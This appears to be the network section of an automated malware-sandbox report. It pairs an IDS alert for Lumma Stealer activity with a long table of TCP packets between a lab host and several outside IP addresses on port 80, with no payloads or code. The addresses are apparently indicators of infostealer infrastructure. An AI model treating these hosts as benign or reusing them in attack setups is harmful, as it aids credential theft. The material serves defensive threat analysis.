Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6104.21.80.5749727802855505 12/19/23-05:21:38.488856	TCP	2855505	ETPRO TROJAN Lumma Stealer Related Activity	49727	80	192.168.2.6	104.21.80.57

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2023 05:18:11.305686951 CET	49709	80	192.168.2.6	208.95.112.1
Dec 19, 2023 05:18:11.507664919 CET	80	49709	208.95.112.1	192.168.2.6
Dec 19, 2023 05:18:11.507823944 CET	49709	80	192.168.2.6	208.95.112.1
Dec 19, 2023 05:18:11.508095026 CET	49709	80	192.168.2.6	208.95.112.1
Dec 19, 2023 05:18:11.757081985 CET	80	49709	208.95.112.1	192.168.2.6
Dec 19, 2023 05:18:11.757144928 CET	49709	80	192.168.2.6	208.95.112.1
Dec 19, 2023 05:18:12.969114065 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:13.251745939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:13.251883030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.447540045 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.467238903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.730011940 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.730087996 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.749396086 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.749433994 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.749481916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.749511003 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.749663115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.749706984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.749749899 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.749809980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.750313044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.750369072 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.750665903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.750710011 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.750803947 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.750843048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:14.750884056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:14.750924110 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.012518883 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.012659073 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.031407118 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.031482935 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.031550884 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.031634092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.031686068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.031729937 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.031919956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.031981945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.032088995 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.032140970 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.032514095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.032571077 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.032594919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.032651901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.032879114 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.032938957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.294873953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.295073032 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.313488007 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.313641071 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.313736916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.313764095 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.313905001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.313968897 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.314239025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.314296007 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.314318895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.314366102 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.314575911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.314625025 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.314964056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.315011024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.315073013 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.315124035 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.315419912 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.315470934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.315534115 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.315604925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.315855026 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.315916061 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.315943956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.316028118 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.316164017 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.316258907 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.316276073 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.316365957 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.316663027 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.316726923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.316735983 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.316776037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.317065001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.317122936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.577169895 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.577249050 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.577301979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.577398062 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.595724106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.595765114 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.595870972 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.595884085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.595925093 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.596137047 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.596184015 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.596334934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.596396923 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.596703053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.596765995 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597153902 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597206116 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597251892 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597297907 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597306967 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597352028 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597444057 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597491026 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597650051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597697973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597862959 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597927094 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597928047 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.597968102 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.597970009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.598016977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.598557949 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.598612070 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.598855972 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.598869085 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.598896980 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.598915100 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599014997 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599055052 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599057913 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599100113 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599227905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599287033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599625111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599659920 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599679947 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599701881 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599709034 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599720001 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599756002 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599841118 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.599891901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.599977016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.600018024 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.600064993 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.600116968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.600121021 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.600159883 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.600297928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.600347996 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.600755930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.600801945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.859714031 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.859735966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.859754086 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.859839916 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.859895945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.860223055 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.860275030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.860569000 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.860630989 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.878235102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.878308058 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.878518105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.878580093 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.878628016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.878691912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.878959894 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879023075 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879257917 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879317045 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879318953 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879369020 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879448891 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879522085 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879523993 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879574060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879878044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.879936934 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.879970074 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880019903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880019903 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880059004 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880074978 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880093098 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880377054 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880434036 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880541086 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880592108 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880592108 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880645037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880800962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.880855083 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.880940914 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.881011963 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.881195068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.881242990 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.881284952 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.881329060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.881356955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.881408930 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.881841898 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.881899118 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.881956100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.882020950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.882224083 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.882273912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.882275105 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.882328033 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.882378101 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.882448912 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.882735014 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.882795095 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.883141041 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883198023 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.883322954 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883388042 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.883480072 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883491039 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883550882 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.883780003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883790016 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.883842945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884042025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884088993 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884090900 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884136915 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884171963 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884228945 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884232044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884287119 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884402037 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884452105 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884464979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884509087 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884680033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884746075 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.884788036 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.884840965 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.885118008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.885174036 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.885559082 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.885616064 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.885998964 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886058092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886075020 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886123896 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886123896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886172056 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886210918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886221886 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886275053 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886279106 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886333942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886358976 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.886419058 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.886946917 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.887010098 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.887644053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.887696981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.887912989 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.887923956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.887969971 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.887989044 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.888653040 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.888689041 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.888712883 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.888731956 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.888760090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.888797045 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.888818026 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.888820887 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.888839006 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.888865948 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:15.889117956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:15.889177084 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.142458916 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.142517090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.142610073 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.142662048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.143078089 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.143115044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.143145084 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.143168926 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.143260956 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.143285036 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.143311977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.143342972 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.143363953 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.143409967 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.160574913 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.160588980 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.160661936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.161036968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.161097050 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.161170006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.161218882 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.161395073 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.161438942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162472010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162519932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162532091 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162552118 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162559986 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162564993 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162600994 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162607908 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162646055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162710905 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162760973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162801981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162846088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162895918 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.162944078 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.162978888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163021088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163328886 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163364887 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163368940 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163394928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163399935 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163445950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163544893 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163588047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163676977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163717031 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.163809061 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.163856030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164017916 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164062977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164064884 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164119005 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164338112 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164388895 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164567947 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164618015 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164619923 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164664030 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.164932966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.164988041 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.165121078 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.165169954 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:16.165281057 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:16.165323019 CET	49712	80	192.168.2.6	213.248.43.40
